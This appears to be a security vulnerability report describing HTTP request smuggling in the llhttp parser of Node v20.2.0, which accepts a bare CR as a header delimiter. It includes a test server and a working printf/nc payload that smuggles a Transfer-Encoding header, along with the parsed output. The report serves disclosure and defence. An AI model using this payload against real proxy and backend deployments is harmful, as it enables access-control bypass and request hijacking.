Summary:
The llhttp
parser in the http module in Node v20.2.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).
Description:
The CR character (without LF) is sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.
Server:
const http = require("http");
http
.createServer((request, response) => {
let body = [];
request
.on("error", (err) => {
response.end("Request Error: " + err);
})
.on("data", (chunk) => {
body.push(chunk);
})
.on("end", () => {
body = Buffer.concat(body).toString();
// log the body to stdout to catch the smuggled request
console.log("Response");
console.log(request.headers);
console.log(body);
console.log("---");
response.on("error", (err) => {
// log the body to stdout to catch the smuggled request
response.end("Response Error: " + err);
});
response.end(
"Body length: " + body.length.toString() + " Body: " + body
);
});
})
.listen(5000);
Payload:
printf "POST / HTTP/1.1\r\n"\
"Host: localhost:5000\r\n"\
"X-Abc:\rxTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000
X-Abc
header in the request is - [\r]xTransfer-Encoding: chunked[\r\n]
Transfer-Encoding: chunked
header.Response
{ host: 'localhost:5000', 'x-abc': '', 'transfer-encoding': 'chunked' }
A
---
Note:
\r
is missing in the parsed header name.A frontend proxy that does not consider \r
as termination of an HTTP header value, could forward this to a backend, causing an HRS.
This report is similar to:
HTTP Request Smuggling can lead to access control bypass.